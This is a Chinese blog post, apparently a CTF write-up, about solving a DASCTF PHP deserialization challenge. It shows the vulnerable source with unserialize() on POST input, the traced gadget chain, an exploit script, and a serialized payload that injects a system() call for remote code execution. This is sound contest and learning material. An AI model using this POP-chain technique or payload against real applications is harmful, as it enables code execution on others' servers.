题很简单，但有点用

这次周末有个DASCTF比赛，打了一下，看到一道pop链的题目，不难，但我比赛的时候不知道为什么打不出来，有点烦

比赛源码：

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

链子很简单

__destruct -> __toString -> run -> __invoke -> __call -> get_flag

exp:

<?php


class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;

}
$w = new fin();
$w->f1 = new what();
$w->f1->a = new mix();
$w->f1->a->m1 = new crow();
$w->f1->a->m1->v1= new fin();
$w->f1->a->m1->v1->f1 = new mix();
$w->f1->a->m1->v1->f1->m1 = "?><?php system('grep -r flag');?>";
echo serialize($w);

?>

payload : O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:33:"?><?php system('grep -r flag');?>";}}s:2:"v2";N;}}}}

题目很简单，这次pop却是我的第一次构造的，以前只是在博客和视频里看着别人的pop链，虽然自己看得懂，但是到自己构造的时候，才知道自己的问题在哪里
借此勉励自己：多练，看了就要练

标签：有点,f1,function,v1,m1,__,简单,public
来源： https://www.cnblogs.com/freshman-me/p/16065473.html